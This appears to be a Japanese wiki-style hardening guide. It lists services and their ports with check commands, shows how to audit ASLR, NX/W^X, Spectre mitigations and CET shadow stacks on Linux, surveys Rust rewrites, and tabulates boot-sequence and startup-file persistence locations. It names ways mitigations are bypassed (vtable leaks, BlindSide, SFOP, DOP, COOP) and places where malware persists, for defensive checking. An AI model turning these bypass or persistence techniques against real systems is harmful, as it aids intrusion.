| rowspan=2 | 5353/UDP || rowspan=2 | [[:w:マルチキャストDNS|マルチキャストDNS]] || systemd-resolved || systemd-resolved.service ||  systemd-resolved || &lt;code&gt;resolvectl -p mdns query $HOSTNAME.local&lt;/code&gt;
|-
| Avahi || avahi-daemon.service || avahi-daemon || &lt;code&gt;avahi-resolve-host-name $HOSTNAME.local&lt;/code&gt;
|-
| 67/UDP&lt;br&gt;547/UDP || [[:w:DHCP|DHCP]]&lt;br&gt;[[:w:DHCPv6|DHCPv6]] || dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;IP=$(ip -4 -o addr show pan1 &amp;vert; grep -oP '(?&lt;=inet )[\d.]+'); sudo dhcping -v -i -s &quot;$IP&quot; -c &quot;$IP&quot;&lt;/code&gt;{{efn|Ubuntuではdhcpingパッケージの導入が必要です。}}
|-
| rowspan=2 | 68/UDP&lt;br&gt;546/UDP || rowspan=2 | DHCPクライアント&lt;br&gt;DHCPv6クライアント{{efn|単独のDHCPクライアントである dhclient、dhcpcd なども存在する。また開発終了になったisc-dhcp-clientも存在した。}} || systemd-networkd&lt;wbr&gt;{{efn|name=&quot;network-all&quot;}} || || systemd || 
|-
| NetworkManager&lt;wbr&gt;{{efn|name=&quot;network-all&quot;|ネットワーク管理全般を担当しています。}} || NetworkManager.service || network-manager || 
|-
| rowspan=2 | 123/UDP&lt;br&gt;4460/TCP || rowspan=2 | NTP（時刻同期）&lt;br&gt;NTS-KE （NTPの鍵交換）{{efn|これらの代替として systemd-timesyncd もありますが、こちらは NTP の代わりに単純な SNTP のみ実装の上、サーバーを持たずクライアント側のみ対応です。}} || ntpd || ntpsec.service || ntpsec || rowspan=2 | &lt;code&gt;ntpdig localhost&lt;/code&gt;{{efn|ローカルへのNTP問い合せは&lt;code&gt;ntpdate -q localhost&lt;/code&gt;でもできますが、こちらはNTP-KE非対応です。}}
|-
| chronyd || chrony.service || chrony
|-
| 80/TCP&lt;br&gt;443/HTTP&lt;br&gt;443/UDP || HTTP&lt;br&gt;HTTPS&lt;br&gt;HTTP/3 (QUIC) || apache2 || apache2.service&lt;br&gt;apache2@.service&lt;br&gt;httpd.service&lt;br&gt;httpd@.service || apache2 || HTTP: &lt;code&gt;curl http://localhost&lt;/code&gt;&lt;br&gt;HTTPS: &lt;code&gt;curl --http2 https://localhost&lt;/code&gt;&lt;br&gt;HTTP/3: &lt;code&gt;curl --http3-only https://localhost&lt;/code&gt;
|-
| rowspan=2 | ユーザーポート/UDP || rowspan=2 | HTTP/3 (QUIC) クライアント&lt;br&gt;WebRTCクライアント || chrome{{efn|Google Chrome}} || &lt;code&gt;google-chrome&lt;/code&gt; || google-chrome (公式APTリポジトリ) || 
|-
| firefox{{efn|Mozzila Firefox}} || &lt;code&gt;firefox&lt;/code&gt; || firefox (snap) || 
|-
| rowspan=2 |21/TCP&lt;br&gt;20/TCP{{efn|アクティブモードのみデータ転送で使われます。}} || rowspan=2 | FTP || proftpd || proftpd.service&lt;br&gt;proftpd@.service || proftpd-core || rowspan=2 | &lt;code&gt;curl ftp://localhost&lt;/code&gt;
|-
| vsftpd || vsftpd.service || vsftpd
|-
| 22/TCP || SSH / SFTP || sshd || ssh.service&lt;br&gt;sshd@.service || openssh-server || &lt;code&gt;ssh-keyscan 127.0.0.1&lt;/code&gt;
|-
| rowspan=2 | 6881/TCP || rowspan=2 | BitTorrent || qbittorrent || &lt;code&gt;qbittorrent&lt;/code&gt; || qbittorrent ||
|-
| ktorrent || &lt;code&gt;ktorrent&lt;/code&gt; || ktorrent ||
|-
| rowspan=2 | 51413/TCP || rowspan=2 | Transmission&lt;wbr&gt;{{efn|BitTorrentプロトコル。TransmissionをベースとするFragmentsも同ポートを使用します。}} || transmission-daemon || transmission-daemon.service || transmission-daemon ||
|-
| transmission-gtk || &lt;code&gt;transmission-gtk&lt;/code&gt; || transmission-gtk ||
|-
| 5001/TCP&lt;br&gt;5001/UDP || rowspan=2|  ネットワークパフォーマンス計測 || iperf || &lt;code&gt;iperf -s&lt;/code&gt; || iperf || &lt;code&gt;iperf -c localhost&lt;/code&gt;
|-
| 5021/TCP&lt;br&gt;5021/UDP || iperf3 || &lt;code&gt;iperf3 -s&lt;/code&gt; || iperf3 || &lt;code&gt;iperf3 -c localhost&lt;/code&gt;
|-
| 1716/UDP&lt;br&gt;1716/TCP&lt;br&gt;ユーザーポート/UDP || スマートフォン連携 (KDE) || kdeconnectd || &lt;code&gt;kdeconnect-app&lt;/code&gt; || kdeconnect ||
|-
| ユーザーポート/TCP || Claude Proxy Service || code{{efn|[[:w:Visual Studio Code|Visual Studio Code]]のプロセス。}} || &lt;code&gt;code&lt;/code&gt; || code (公式APTリポジトリ) || 
&lt;!--
|-
|  || AI コーディング支援 (Google Antigravity CLI{{efn|Command Line Interface}}) || agy || || (Visal Studio Code拡張) || 
--&gt;
|-
| rowspan=2 | 3389/TCP&lt;br&gt;3389/UDP || rowspan=2 | Remote Desktop Protocol || gnome-remote-desktop-daemon{{efn|GNOME Remote Desktop}} || gnome-remote-desktop.service&lt;!-- (system)--&gt;&lt;br&gt;gnome-remote-desktop.service (user)&lt;br&gt;gnome-remote-desktop-headless.service (user) || gnome-remote-desktop || 
|-
| krdpserver || app-org.kde.krdpserver.service (user) || krdp || 
|-
| 47984/TCP&lt;br&gt;47989/TCP&lt;br&gt;48010/TCP&lt;br&gt;47998–48010/UDP || NVIDIA GameStream || sunshine ||  app-dev.&lt;wbr&gt;lizardbyte.&lt;wbr&gt;app.&lt;wbr&gt;Sunshine.service (user) || sunshine (公式debファイル) ||  (moonlight-qt)
|-
| 27031-27036/UDP&lt;br&gt;27036/TCP || Steam Remote Play&lt;ref&gt;[https://help.steampowered.com/ja/faqs/view/2EA8-4D75-DA21-31EB Steam接続に必要なポート] Valve&lt;/ref&gt; || steam || &lt;code&gt;steam&lt;/code&gt; || steam (公式APTリポジトリ) || 
|-
| 1900/UDP || UPnP{{efn|パケットフィルタと共に使用して要求に従ってポートマッピングする。}} || miniupnpd || miniupnpd.service || miniupnpd-nftables&lt;br&gt;miniupnpd-iptables ||
|}

なおUPnPのポートは外側に解放しないようにしましょう。また内側にだけ解放した場合も内側に侵害された機器が存在する場合に危険となるのでVLANでネットワークを分けるなどを心がけましょう。

また外側に開いてるポートはランダム割り当てされないように sysctl の &lt;code&gt;net.ipv4.ip_local_reserved_ports&lt;/code&gt; で予約しておきましょう。この設定を永続化するには /etc/sysctl.d/99-local-ports.conf あたりに&lt;code&gt;net.ipv4.ip_local_reserved_ports=a,b,c&lt;/code&gt;{{efn|ダブルクォーテーションで囲むと「無効な引数です」のエラーになるので注意してください。}}と記述すれば OK です。設定を直ぐに反映するには&lt;code&gt;sudo sysctl --system&lt;/code&gt;を実行しましょう。

&lt;!--TODO: CUPS、Postfix、Samba、Wsdd--&gt;

=== Unix Domain経由のサービス ===
Unix Domainでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -xlp&lt;/code&gt; を実行しましょう。


=== dbus経由のサービス ===
システムバスは &lt;code&gt;busctl --system list&lt;/code&gt;、セッションバスは &lt;code&gt;busctl --user list&lt;/code&gt; で確認することができます。

それらを提供する実行中のプロセスの一覧は以下で取得できます:
* システムバスを提供するプロセス: &lt;code&gt;busctl --system --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;
* ユーザーバスを提供するプロセス: &lt;code&gt;busctl --user --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;

dbusサービスの一部はプロセス未実行のアクティベータブル (activatable) な状態で提供されています。アクティベータブルな状態で提供するサービスの実行コマンドは以下で取得できます:
*  activatableなシステムバスの実行コマンド: &lt;code&gt;busctl --system --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;
*  activatableなユーザーバスの実行コマンド: &lt;code&gt;busctl --user --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;

== 潜在的な脆弱性を減らす ==
現代のプログラムでは以下のような保護が行われています。

=== メモリアドレスの推測困難化 === 
攻撃に必要なコード片（ガジェット）のメモリアドレスを推測しにくくするために、カーネル空間、ユーザー空間の両方で[[:w:アドレス空間配置のランダム化|アドレス空間配置のランダム化]]（ASLR）が行われています。カーネル空間の ASLR は KASLR (Kernel ASLR) とも呼ばれています。

ユーザー空間のプログラムで ASLR を有効にするためには[[:w:位置独立コード|位置独立コード]] (PIC) / 位置独立実行形式 (PIE) である必要があります。Unix で使われる実行形式の ELF では位置独立実行形式が ET_DYN、非位置独立実行形式 (non-PIE) が ET_EXEC となります。

Linuxでは ASLR が無効となる非位置独立実行形式のファイルを以下で検索することができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 非位置独立実行形式 (non-PIE) のバイナリを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}'
/usr/lib/default.sfx
/usr/lib/klibc/bin/mkfifo
/usr/lib/klibc/bin/zcat
/usr/lib/klibc/bin/poweroff
[...]
$ # 非位置独立実行形式 (non-PIE) のバイナリを含むDebianパッケージを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
aidl
busybox-static
code
cpp-15-x86-64-linux-gnu
cuda-gdb-13-4
cuda-nvcc-13-4
cuda-sanitizer-13-4
cuda-tileiras-13-4
debugedit
g++-15-x86-64-linux-gnu
gcc-15-x86-64-linux-gnu
gcc-mingw-w64-i686-posix
gdc-15-x86-64-linux-gnu
gds-tools-13-4
gfortran-15-x86-64-linux-gnu
gh
git-lfs
gobjc-15-x86-64-linux-gnu
gocryptfs
golang-1.26-go
go-md2man
go-mtpfs
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルがユーザー空間 ASLR を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sysctl kernel.randomize_va_space # 0=無し、1=部分的、2=完全
kernel.randomize_va_space = 2
&lt;/syntaxhighlight&gt;

また現在のLinuxカーネルがカーネル ASLR (KASLR) を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_RANDOMIZE_BASE' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_RANDOMIZE_BASE=y
&lt;/syntaxhighlight&gt;

なお ASLR は間接的な関数呼び出し（ C++ の vtable を含む）があると、そのアドレスから ASLR のオフセットがバレてしまい突破されてしまいます。

また CPU の[[:w:投機的実行|投機的実行]]での情報漏れ (Spectre) による[[:w:キャッシュ攻撃|キャッシュサイドチャネル攻撃]]（後述）の一つである「投機的探査」 (BlindSide) によってもコードの位置情報の取得がされ ASLR が突破されてしまいます。

=== 投機的実行の情報漏れ防止 ===
前述のとおり、投機的実行による情報漏れ (Spectre) は攻撃に繋がります。Spectre には境界チェックを迂回する Spectre V1 と間接分岐の分岐先アドレスのキャッシュ{{efn|分岐先バッファ (Branch Target Buffer、BTB)や分岐先アドレスキャッシュ (Branch Target Address Cache、BTAC) と呼ばれる。}}を汚染する Spectre V2 が存在します。&lt;!--TODO: Spectre v3/v4、Zenbleed--&gt;

Spectre V1 を防ぐ方法としては投機的実行を阻害するための命令（x86ではLFENCE）の挿入{{efn|Linuxカーネルでの投機的実行の防止は&lt;code&gt;barrier_nospec()&lt;/code&gt;。}}やアクセスできるアドレス範囲を狭めることが行われています{{efn|GCCでの投機的実行での範囲外アクセス防止は&lt;code&gt;__builtin_speculation_safe_value(...)&lt;/code&gt;、Linuxカーネルでの投機的実行での範囲外アクセス防止は&lt;code&gt;array_index_nospec(...)&lt;/code&gt;&lt;ref&gt;[https://lwn.net/Articles/759423/ Spectre V1 defense in GCC] LWN 2018年7月10日&lt;/ref&gt;。}}。

また Spectre V2 では攻撃を防ぎながらも速度を落とさない方法として脆弱な分岐先アドレスキャッシュに依存する間接分岐の代わりにリターンアドレスのキャッシュ{{efn|リターンスタックバッファ (RSB) と呼ばれる。}}に依存するリターン命令を使う retpoline が登場しました。しかしながらこの retpoline でも速度の低下は起こるため、既知の間接呼び出しを条件分岐 + 直接呼び出しに変換して高速化する手法が模索されました。LLVM では retpoline を有効にする &lt;code&gt;-mretpoline&lt;/code&gt;フラグの処理内に既知の仮想関数呼び出しを[[:w:二分木|二分木]]の直接分岐に置き換える「分岐ファネル」(Branch funnel) が導入されています&lt;ref&gt;[https://reviews.llvm.org/D42453 Use branch funnels for virtual calls when retpoline mitigation is enabled.] LLVM project&lt;/ref&gt;。また Linux カーネルでも既知の間接呼び出しを条件分岐 + 直接呼び出しに変換する INDIRECT_CALL_* マクロが搭載されています&lt;ref&gt;[https://lwn.net/Articles/774743/ Relief for retpoline pain] LWN 2018年12月14日&lt;/ref&gt;。&lt;!--TODO: Intel CETのSHSTKとretpolineの衝突--&gt;

一方、リターン命令の投機的実行も「Retbleed」や AMD CPU における「投機的リターンスタックオーバーフロー」 (SRSO){{efn|Speculative Return Stack Overflow。}}のような脆弱性が見つかっています。

なお低権限コードから高権限コードへの権限境界をまたいだ Spectre および Retbleed は Intel の「間接分岐制限付き投機」(IBRS){{efn|Indirect Branch Restricted Speculation。}}およびそれを高速化した「拡張IBRS」(eIBRS) などハードウェア側によって塞がれました&lt;ref&gt;[https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/technical-documentation/hardware-behavior-related-to-speculative-execution.html Hardware Features and Behavior Related to Speculative Execution] Intel 2026年10月14日&lt;/ref&gt;が、権限境界をまたがないものは今も可能となっています。

=== メモリにおける書き込みと実行の排他化 (W^X) ===
メモリでは書き込み可能領域の実行不可化 ([[:w:NXビット|NXビット]]) と実行可能領域の書き込み不可化による書き込みと実行の排他化（[[:w:en:W^X|W^X]]）が一般的となっています。NXビットは x86 では NXビットは AMD64 と共に搭載された古い機能であるため、今時の CPU と OS は基本的にこれに対応しています。

現在の CPU がNXビットを有効にしているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -o nx
nx
nx
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルが厳格な W^X を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '_RWX' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y
CONFIG_STRICT_KERNEL_RWX=y
CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y
CONFIG_STRICT_MODULE_RWX=y
&lt;/syntaxhighlight&gt;

しかしながら書き込みと実行の排他の原則を破ってそれらを同時に行える場所というものも存在しています。読み込み・書き込み・実行が可能なことから「RWXセクション」と呼ばれています。Windows ではメモリページの PAGE_EXECUTE_READWRITE フラグがこれに相当します&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows/win32/memory/memory-protection-constants メモリ保護定数] メモリ保護定数 (WinNT.h) - Win32 apps | Microsoft Learn&lt;/ref&gt;。

Windows のカーネルドライバでは NX フラグの使用が義務付けられています&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-hardware/test/hlk/testref/driver-compatibility-with-device-guard メモリ整合性と VBS とのドライバ互換性] Microsoft&lt;/ref&gt;が、その Windows カーネルにおいても PatchGuard の領域がコード難読化のためにこの原則を破っています。&lt;!--TODO: ホットパッチ--&gt;

また Linux でも実行可能領域を書き込み可能ページとして割り当てて書き込む text_poke 関数が用意されています。

=== 制御フローの操作を防ぐ (CET)  ===
現代では「[[:w:Return-oriented programming|リターン指向プログラミング]]」(ROP)、「呼び出し指向プログラミング」 (COP)、「ジャンプ指向プログラミング」(JOP) 、「[[:en:Sigreturn-oriented programming|Sigreturn指向プログラミング]]」(SROP) などの制御フロー操作による攻撃が一般化していますが、これを防ぐ技術として「[[:w:en:Control-flow integrity#Intel Control-flow Enforcement Technology|制御フロー強制テクノロジー]]」(CET) の「[[:w:en:Indirect branch tracking|間接分岐追跡]]」(IBT) と「[[:w:en:Shadow stack|シャドウスタック]]」(SHSTK) が存在します。

制御フロー強制は比較的新しい技術であるため、対応する CPU は以下に限られます:
* Intel Core (Tiger Lake) 第11世代以降
* AMD Zen 3 以降（シャドウスタックのみ）

現在の CPU が間接分岐追跡 (IBT)  およびシャドウスタックに対応しているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -oE '(ibt|shstk)'
shstk
ibt
shstk
ibt
[...]
&lt;/syntaxhighlight&gt;

またユーザーランドのシャドウスタックの使用にはユーザーランドだけでなくカーネルの対応も必要となります。Linux カーネル では 6.6 以降対応でこれに対応しています（sigreturnにも対応&lt;ref&gt;[https://github.com/torvalds/linux/commit/05e36022c0543ba55a3de55af455b00cb3eb4fcc x86/shstk: Handle signals for shadow stack · torvalds/linux@05e3602] GitHub 2023年8月3日&lt;/ref&gt;）。 Linuxディストリビューションでは Ubuntu 24.04以降、 Red Hat Enterprise Linux 9.7 以降&lt;ref&gt;[https://docs.redhat.com/ja/documentation/red_hat_enterprise_linux/9/html/9.7_release_notes/new-features-kernel 4.8. カーネル - 9.7 リリースノート - Red Hat Enterprise Linux - 9 - Red Hat Documentation] Red Hat&lt;/ref&gt;が標準でシャドウスタックを有効としています。

現在のLinuxカーネルがユーザーランドの間接分岐追跡およびシャドウスタックを有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -E '_(IBT|SHADOW_STACK)' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_CC_HAS_IBT=y
# CONFIG_X86_KERNEL_IBT is not set
CONFIG_X86_USER_SHADOW_STACK=y
CONFIG_X86_DISABLED_FEATURE_IBT=y
CONFIG_ARCH_HAS_USER_SHADOW_STACK=y
&lt;/syntaxhighlight&gt;

現在のユーザーランドプログラムの中で間接分岐追跡またはシャドウスタックが無効化されているものはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)'
/usr/lib/lv2/carla.lv2/carla.so
/usr/lib/7zip/7z
/usr/lib/7zip/7zCon.sfx
/usr/lib/7zip/7zr
/usr/lib/7zip/7z.so
/usr/lib/7zip/7za
/usr/lib/klibc/bin/ipconfig
/usr/lib/klibc/bin/umount
/usr/lib/klibc/bin/halt
[...]
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを含むDebianパッケージを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
7zip
aidl
ardour
avr-libc
cargo-1.93
carla
carla-bridge-wine32:i386
carla-bridge-wine64
carla-lv2
carla-vst
cuda-ctadvisor-13-4
cuda-cudart-13-4
[...]
&lt;/syntaxhighlight&gt;

一方、Linuxカーネルのカーネル側のシャドウスタック対応は2026年現在まだ開発中となっています (x86 Kernel Shadow Stacksパッチシリーズ)&lt;ref&gt;[https://www.phoronix.com/news/Linux-Kernel-Shadow-Stacks x86 Kernel Shadow Stacks Being Worked On For Linux As Powerful Control Flow Protection] Phoronix 2026年10月22日&lt;/ref&gt;。

なお、制御フロー強制テクノロジーの間接分岐追跡とシャドウスタックが有効であっても異なる関数の通常呼び出しは防げません。分かりやすい例では関数の間接呼び出しにおいて関数ポインタを&lt;code&gt;sigaction&lt;/code&gt;へと変更して独自のシグナルハンドラを登録し、その後クラッシュさせてそのシグナルハンドラを呼び出すという「セグメンテーション違反指向プログラミング」(SFOP) が挙げられます。また攻撃に使える関数 (dop gadgets) {{efn|dop gadgetsの検索の公式実装は「DOP-StaticAssist」[https://github.com/melynx/DOP-StaticAssist]だが長らく更新されておらず古いLLVM 3.5に依存している状態となっている。}}の通常呼び出しだけで攻撃する「Data-Oriented Programming」(DOP) &lt;ref&gt;Hong Hu et al. [https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=7546545 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks] IEEE 2016年&lt;/ref&gt;{{efn|セキュリティ以外の文脈におけるデータ指向プログラミング、データ指向設計、データ駆動型設計とは異なる。}}という手法も存在します。

C++向けでは仮想関数テーブル (vtable) を改ざんして攻撃に使える仮想関数（仮想関数ガジェット、vfgadget）を呼び出す「偽造オブジェクト指向プログラミング」(COOP) という攻撃手法も登場しています。

=== メモリ安全性の高いソフトウェアへ ===
既存のソフトウェアの脆弱性は7割がメモリ安全性の問題に起因すると言われています&lt;ref&gt;[https://www.cisa.gov/sites/default/files/2023-12/CSAC_TAC_Recommendations-Memory-Safety_Final_20231205_508.pdf REPORT TO THE CISA DIRECTOR Technical Advisory Council Memory Safety] サイバーセキュリティ諮問委員会 (CSAC) 2023年12月5日&lt;/ref&gt;。しかしながら[[C言語]]や[[C++]]はメモリ安全性が低いため、メモリ安全性の確保できる[[Rust]]などで書かれた代替プログラムが登場しています:
{| class=&quot;wikitable&quot;
|+ コマンドのRust版
|-
! コマンドの概要 !! 従来版 !! Rust版
|-
| Unix系の基本コマンド群 || GNU Core Utilities || '''uutils coreutils'''
|-
| ファイル検索コマンド群{{efn|&lt;code&gt;find&lt;/code&gt;、&lt;code&gt;locate&lt;/code&gt;、&lt;code&gt;updatedb&lt;/code&gt;、&lt;code&gt;xargs&lt;/code&gt;の4コマンド}} || GNU Findutils || '''uutils findutils'''
|-
| ファイル差分コマンド群{{efn|&lt;code&gt;diff&lt;/code&gt;、&lt;code&gt;cmp&lt;/code&gt;、&lt;code&gt;diff3&lt;/code&gt;、&lt;code&gt;sdiff&lt;/code&gt;の4コマンド}} || GNU Diffutils || '''uutils diffutils'''
|-
| ストリームエディタ (sed) || GNU sed / FreeBSD sed || '''uutils sed'''
|-
| AWKスクリプト || GNU AWK || '''uutils AWK'''
|-
| 文字列検索 || GNU Grep || '''uutils Grep'''
|-
| tarアーカイブ || GNU Tar || '''uutils tar'''
|-
| アカウント管理コマンド群 || shadow-utils || '''uutils shadow-utils'''
|-
| アクセス制御コマンド群{{efn|&lt;code&gt;chacl&lt;/code&gt;、&lt;code&gt;getfacl&lt;/code&gt;、&lt;code&gt;setfacl&lt;/code&gt;の3コマンド}} || acl || '''uutils acl'''
|-
| procfs{{efn|プロセスファイルシステム}}表示コマンド群 || procps / procps-ng || '''uutils procps'''
|-
| ホスト名管理コマンド群{{efn|&lt;code&gt;hostname&lt;/code&gt;、&lt;code&gt;dnsdomainname&lt;/code&gt;、&lt;code&gt;domainname&lt;/code&gt;、&lt;code&gt;nisdomainname&lt;/code&gt;、&lt;code&gt;ypdomainname&lt;/code&gt;の5コマンド。}} || hostname || '''uutils hostname'''
|-
| Linuxユーティリティ || util-linux || '''uutils util-linux'''
|- 
| 権限昇格 || sudo || '''sudo-rs'''
|-
| 暗号・署名システム || GnuPG || '''Sequoia PGP'''
|-
| 時刻同期 || ntpd || '''ntpd-rs'''
|-
| セキュアシェル (SSH) || OpenSSH || '''russh'''
|}

これらのRustで書かれたコマンドのうちuutils coreutilsとsudo-rsはUbuntuに採用されています。

またライブラリでもRustだけ (Pure Rust) で実装されたものが登場しています:
* 画像ライブラリ - これらは例えばGNOMEデスクトップ環境の画像ローダーGlycinから使われています&lt;ref&gt;[https://gitlab.gnome.org/GNOME/glycin GNOME / glycin · GitLab] GNOME Project&lt;/ref&gt;。
** libpng → pngクレート - PNG画像向け。
** libgif → gifクレート - GIF画像向け。
** libjpeg / libjpeg-turbo → zune-jpeg / libjpeg-turbo-rs - JPEG画像向け。
** OpenJPEG → hayro-jpeg2000 - JPEG 2000画像向け。
** libtiff → tiffクレート - Tiff画像向け
** libwebp → image-webpクレート - WebP画像向け。
** libraw → libopenraw - RAW画像向け。
** librsvg - SVG画像向け。C言語からRustに書き直しされました。
* 圧縮ライブラリ
** zlib / zlib-ng → zlib-rs - Deflate圧縮向け
** libbzip2 → bzip2-rs - BZ2圧縮向け
* 暗号化ライブラリ
** OpenSSL / GnuTLS → [[:w:en:Rustls|Rustls]]
* Unicode処理ライブラリ
** ICU4C → ICU4X
* テキスト整形ライブラリ
** HarfBuzz → HarfRust
* ブラウザエンジン
** Blink/Gecko → Servo

&lt;!--
=== 整合性チェック ===
PatchGuard / HyperGuard
--&gt;

== 不審な改変が行われていないかを調べる ==
例えばOSの起動には一連のシーケンスがありますが、マルウェアは基本的にここの途中に入り込んで永続化します。

{| class=&quot;wikitable&quot;
|+ 起動シーケンス
|-
! 種類 || Windows 11以降 !! Linux (Gnome) !! Linux (KDE)
|-
| 1. 起動ファームウェア || [[:w:Unified Extensible Firmware Interface|UEFI]] || colspan=2 | [[:w:Basic Input/Output System|レガシーBIOS]] / UEFI
|-
| 2. ブートローダー || [[:w:Windows Boot Manager|Windows Boot Manager]] (bootmgfw.efi)&lt;br&gt; → [[:w:Windows Boot Manager#winload.exe/winload.efi|Windows OS Loader]] (winload.efi) || colspan=2 | GRUB{{efn|Ubuntuの標準。}} / systemd-boot / Unified Kernel Image{{efn|Linuxカーネルとブートイメージを単一バイナリにする仕組み。}} / EFI boot stub{{efn|LinuxカーネルをEFIから直接ブートできるようにする仕組み。}}
|-
| 3. カーネル || [[:w:ntoskrnl.exe|ntoskrnl.exe]] || colspan=2 | Linuxカーネル ([[:w:vmlinux|vmlinux]]{{efn|圧縮後はvmlinuzとなる。}})
|-
| 4. 初期化プロセス || [[:w:en:Session Manager Subsystem|smss.exe]]&lt;br&gt; → wininit.exe&lt;br&gt; || rowspan=2 colspan=2 | [[:w:systemd|systemd]]{{efn|以前は代替initもよく使われていたが、今はsystemdが標準となっている。}}
|-
| 5. サービスコントロールマネージャ || colspan=2 | [[:w:en:Service Control Manager|services.exe]]
|-
| rowspan=2 | 6. ログインマネージャ || rowspan=2 | [[:w:Winlogon|winlogon.exe]] || colspan=2 | systemd-logind&lt;br&gt;sd-pam
|-
| [[:w:GNOME ディスプレイマネージャー|GDM]] || [[:w:Simple Desktop Display Manager|SDDM]]
|-
| rowspan=2 | 7. ユーザー初期化プロセス || rowspan=2 | userinit.exe || colspan=2 | systemd
|-
| gnome-session || kcminit&lt;br&gt; → plasma_session
|-
| 8. シェル || [[:w:Windows Explorer|explorer.exe]] || gnome-shell || plasmashell
|-
| 9. コンポジタ || [[:w:Desktop Window Manager|dwm.exe]] || mutter || kwin
|}

また起動シーケンス以外にもアップデートシーケンスへの感染やシェル感染、ブラウザ感染もあります。

{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| Windows || %APPDATA%\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;* || C:\&lt;wbr&gt;ProgramData\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;*
|-
| [[:w:PowerShell|PowerShell]] プロファイル&lt;ref&gt;[https://learn.microsoft.com/ja-jp/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.6 about_Profiles - PowerShell - Microsoft Learn] Microsoft&lt;/ref&gt; || %USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Profile.ps1&lt;br&gt;%USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1 || C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Profile.ps1&lt;br&gt;C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1
|}

{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| POSIX標準 || ~/.profile || /etc/profile
|-
| XDG Base Directory&lt;wbr&gt;標準 || ~/.local/bin/* ||
|-
